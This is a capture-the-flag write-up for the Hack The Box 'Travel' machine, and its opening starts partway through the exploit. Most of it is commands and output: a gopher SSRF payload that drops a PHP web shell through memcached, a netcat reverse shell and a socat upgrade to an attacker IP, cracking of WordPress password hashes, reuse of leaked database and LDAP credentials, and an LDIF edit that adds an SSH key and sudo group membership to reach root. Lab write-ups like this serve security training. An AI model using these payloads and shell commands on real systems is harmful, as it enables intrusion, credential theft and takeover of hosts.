[+]payload is=: gopher://127.00.0.1:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%20109%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:14:%220xprashant.php%22%3Bs:4:%22data%22%3Bs:31:%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%22%3B%7D%0d%0a
[+] Requesting using ssrf in phpmemcache
http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url=gopher://127.00.0.1:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%20109%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:14:%220xprashant.php%22%3Bs:4:%22data%22%3Bs:31:%22%3C%3Fphp%20system%28%24_REQUEST%5B%22cmd%22%5D%29%3B%22%3B%7D%0d%0a
[+] Its time for deserialization
http://blog.travel.htb/wp-content/themes/twentytwenty/logs/0xprashant.php
http://blog.travel.htb/wp-content/themes/twentytwenty/logs/0xprashant.php
200
[+] You are ready to go
[+] Run commands on web shell now
I can access
0xprashant.php on the following url
1
http://blog.travel.htb/wp-content/themes/twentytwenty/logs/0xprashant.php
Running commands
1
2
➜ travel git:(master) ✗ curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/0xprashant.php?cmd=whoami"
www-data
Lets see if netcat
is installed or not so we can get a reverse shell
1
2
➜ travel git:(master) ✗ curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/0xprashant.php?cmd=which%20nc"
/bin/nc
Congratulations we are lucky enough !!!!
Bash shell as www-data
1
➜ travel git:(master) ✗ curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/0xprashant.php?cmd=nc%20-e%20/bin/bash%2010.10.14.9%201234"
And on my ncat
listener we got connection back !!!
1
2
3
4
5
6
➜ prashant rlwrap nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.189.
Ncat: Connection from 10.10.10.189:56148.
Upgrading your shell
Python
or python3
is not installed on the machine but socat
is installed
1
2
which socat
/usr/bin/socat
We can upgrade our shell using socat
target machine
1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.9:4444
My machine
1
➜ prashant socat file:`tty`,raw,echo=0 tcp-listen:4444
On my socat
listener i got connection back
1
2
➜ prashant socat file:`tty`,raw,echo=0 tcp-listen:4444
www-data@blog:/var/www/html/wp-content/themes/twentytwenty/logs$
If we look at its hostname
we are in a docker container
1
2
www-data@blog:/$ hostname
blog
ip a
And we can confirm this by checking its ip it should be 10.10.10.189
1
2
3
4
5
6
7
8
9
www-data@blog:/$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
10: eth0@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:1e:00:0a brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.30.0.10/24 brd 172.30.0.255 scope global eth0
valid_lft forever preferred_lft forever
So we need to escalate from it.
Privilege escalation to lynik-admin
it was a short story but good
i know that wordpress saves his juicy
information in the file called wp-config.php
wp-config.php
1
2
3
4
5
6
7
8
9
10
11
12
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wp' );
/** MySQL database username */
define( 'DB_USER', 'wp' );
/** MySQL database password */
define( 'DB_PASSWORD', 'fiFtDDV9LYe8Ti' );
/** MySQL hostname */
define( 'DB_HOST', '127.0.0.1' );
The only important
thing i hot the database
information
I can logged in myself to the mysql
1
mysql -h 127.0.0.1 -u wp -p
1
2
3
4
5
6
7
8
9
10
11
www-data@blog:/var/www/html$ mysql -h 127.0.0.1 -u wp -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 211558
Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
And We are in cheers !!!
show DATABASES;
1
2
3
4
5
6
7
8
9
10
MariaDB [(none)]> show DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wp |
+--------------------+
4 rows in set (0.001 sec)
use wp
1
2
3
4
5
6
MariaDB [(none)]> use wp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [wp]>
show tables;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
MariaDB [wp]> show tables;
+-----------------------+
| Tables_in_wp |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.001 sec)
select * from wp_users
1
2
3
4
5
6
7
MariaDB [wp]> select * from wp_users;
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| 1 | admin | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin | admin@travel.htb | http://localhost | 2020-04-13 13:19:01 | | 0 | admin |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.001 sec)
And we got a hash
I tried to decrypt the hash with john
but it took forever to carck it.
1
2
3
4
5
6
➜ prashant john wp-hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 XOP 4x2])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Note – This way just turned out to be a rabbit hole sorry !!
After some basic enum
i got a .sql
file
1
2
www-data@blog:/opt/wordpress$ ls
backup-13-04-2020.sql
If i do cat backup-13-04-2020.sql
my terminal is filled up totally but at the bottom of the output I got another hash
for user lynik-admin
1
2
3
4
5
6
LOCK TABLES `wp_users` WRITE;
/*!40000 ALTER TABLE `wp_users` DISABLE KEYS */;
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
/*!40000 ALTER TABLE `wp_users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.
Cracking password hash with john
1
2
3
4
5
6
7
8
9
10
➜ prashant john hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 XOP 4x2])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1stepcloser (?)
1g 0:00:01:36 DONE (2020-05-21 18:05) 0.01039g/s 7591p/s 7591c/s 7591C/s 1stward..1remington
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
And the hash cracked
is 1stepcloser
Got user.txt
Now i can simply login as lynik-admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜ prashant sshpass -p "1stepcloser" ssh lynik-admin@travel.htb
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
System information as of Thu 21 May 2020 05:08:13 PM UTC
System load: 0.0
Usage of /: 46.2% of 15.68GB
Memory usage: 14%
Swap usage: 0%
Processes: 209
Users logged in: 0
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189
Last login: Thu May 21 06:06:08 2020 from 10.10.14.9
lynik-admin@travel:~$
And we got user.txt
flag
1
2
3
lynik-admin@travel:~$ cat user.txt
1b8*************************87b
lynik-admin@travel:~$
Privilege escalation to root
The road to the root is also very interesting , Its not that easy
to catch but after some basic enum we can find the way.
If we do a ls -a
to list the hidden files we get to know that there is a file calles .ldaprc
1
2
3
4
5
6
7
8
9
10
11
12
13
lynik-admin@travel:~$ ls -la
total 40
drwx------ 4 lynik-admin lynik-admin 4096 May 22 00:50 .
drwxr-xr-x 4 root root 4096 Apr 23 17:31 ..
lrwxrwxrwx 1 lynik-admin lynik-admin 9 Apr 23 17:31 .bash_history -> /dev/null
-rw-r--r-- 1 lynik-admin lynik-admin 220 Feb 25 12:03 .bash_logout
-rw-r--r-- 1 lynik-admin lynik-admin 3771 Feb 25 12:03 .bashrc
drwx------ 2 lynik-admin lynik-admin 4096 Apr 23 19:34 .cache
-rw-r--r-- 1 lynik-admin lynik-admin 82 Apr 23 19:35 .ldaprc
drwxrwxr-x 3 lynik-admin lynik-admin 4096 May 21 05:01 .local
-rw-r--r-- 1 lynik-admin lynik-admin 807 Feb 25 12:03 .profile
-r--r--r-- 1 root root 33 May 20 20:23 user.txt
-rw------- 1 lynik-admin lynik-admin 861 Apr 23 19:35 .viminfo
.ldaprc is a LDAP configuration file
.ldaprc
1
2
3
4
lynik-admin@travel:~$ cat .ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
Okay..so the user lynik-admin
is in the LDAP , And later on if we read the .viminfo
file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq!
|2,0,1587670530,,"wq!"
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Debug Line History (newest to oldest):
# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
# File marks:
'0 3 0 ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"
# Jumplist (newest first):
-' 3 0 ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-'' 1 0 ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"
# History of marks within files (newest to oldest):
> ~/.ldaprc
* 1587670529 0
" 3 0
. 4 0
+ 4 0
we got a BINDPW
Here “BINDPW Theroadlesstraveled”
And if we read the /etc/hosts
There is a entry for the another docker container
1
2
3
4
lynik-admin@travel:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb
And in the .ldaprc
the HOST is also set to ldap.travel.htb
So i can conclude that we have to connect to this docker
using ldap.
1
2
lynik-admin@travel:~$ cat .ldaprc
HOST ldap.travel.htb
Okay so i used these few
articles to get into it.
Lets connect to the ldap
1
lynik-admin@travel:~$ ldapsearch -x -w Theroadlesstraveled
And i got the output
and few very interesting things
There are two admins
of the LDAP
- admin
- lynik-admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers
# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
=
Okay…so its interesting
we have everything now since the user is we are currently have some super-powers
Hack - steps
Since i am admin
of the LDAP
so i can modify the enteries for any user
So…I am going to add any of the user in the sudoers
group so the user can run any command as root using sudo
1
2
3
4
5
6
7
8
9
10
11
memberUid: frank
memberUid: brian
memberUid: christopher
memberUid: johnny
memberUid: julia
memberUid: jerry
memberUid: louise
memberUid: eugene
memberUid: edward
memberUid: gloria
memberUid: lynik
http://manpages.ubuntu.com/manpages/trusty/man5/sudoers.ldap.5.html
I am going to modify
the enteries for the user jane
Adding jane to sudoers group
jane.ldif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: homeDirectory
homeDirectory: /root
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChcxjd+kCqD2z2mEujDDMH431Rcjf3vYZMShiS4ZChlGzIVE3FbyGbFeKHelYtPPl8xg12g7V7ougb+1YZz3rR2rzL9d/dS8CryaGZKvbUFW9utP476sHt1mSIPmd25qz96XM8jE+rMlHzCFN9jtRU3JKnffwxy1GniZFR0NTgPeEY50A1/Rta1zyh6CTwHXO0PJBM6Ccl3wgq9qb/oQXz6vLSOHYhDwbU3F+Zc292j9z9j0aBMUZC6eEJmd0IG4aiIoKbAWdrDOaPsjpyDYujXlGNhackZAEANkJGPRodN9VIR4dtlm6qwR9iyq8vMGJL+XAAYQtyDqSFiThzZPFv root@parrot
-
replace: userPassword
userPassword: 0xprashant
-
replace: gidNumber
gidNumber: 27
I set the password for the user to 0xprashant
, And supplied my ssh - Public_keys
(id_rsa.pub) So i can login my self using ssh
Now we just need to use the super - power
we will be using the ldapmodify
since its already installed on the machine
1
2
lynik-admin@travel:~$ which ldapmodify
/usr/bin/ldapmodify
Modifying entry
1
ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f jane.ldif
1
2
lynik-admin@travel:~$ ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f jane.ldif
modifying entry "uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb"
And if we now login as jane
using ssh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
➜ travel git:(master) ✗ ssh jane@travel.htb
Creating directory '/home@TRAVEL/jane'.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
System information as of Fri 22 May 2020 01:52:20 AM UTC
System load: 0.0
Usage of /: 46.3% of 15.68GB
Memory usage: 26%
Swap usage: 0%
Processes: 214
Users logged in: 1
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri May 22 01:34:38 2020 from 10.10.14.9
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jane@travel:~$
And we are in , Its time for running commands using sudo
1
2
3
jane@travel:/home@TRAVEL$ sudo whoami
[sudo] password for jane:
root
Got root.txt
sudo su
1
2
jane@travel:/home@TRAVEL$ sudo su
root@travel:/home@TRAVEL#
1
2
3
root@travel:~# cat root.txt
95*************************13a
root@travel:~#
And we pwned it …….
If u liked the writeup.Support a Poor Student to Get the OSCP-Cert
Donation for OSCP
If you want to get notified as soon as i upload something new to my
blog
So just click on the bell icon you are seeing on the right side – > and allow pushnotification
Resources
Topic | Url |
---|---|
git dumper | https://github.com/arthaud/git-dumper |
php serialization | https://www.notsosecure.com/remote-code-execution-via-php-unserialize/ |
gopherus | https://github.com/tarunkant/Gopherus |
simplepie docs | https://simplepie.org/api/source-class-SimplePie.html |
ldap query | https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities |
modifying ldap enteries | https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system |
modifying ldap enteries | https://www.sudo.ws/man/1.8.16/sudoers.ldap.man.html |
modifying ldap enteries | http://manpages.ubuntu.com/manpages/trusty/man5/sudoers.ldap.5.html |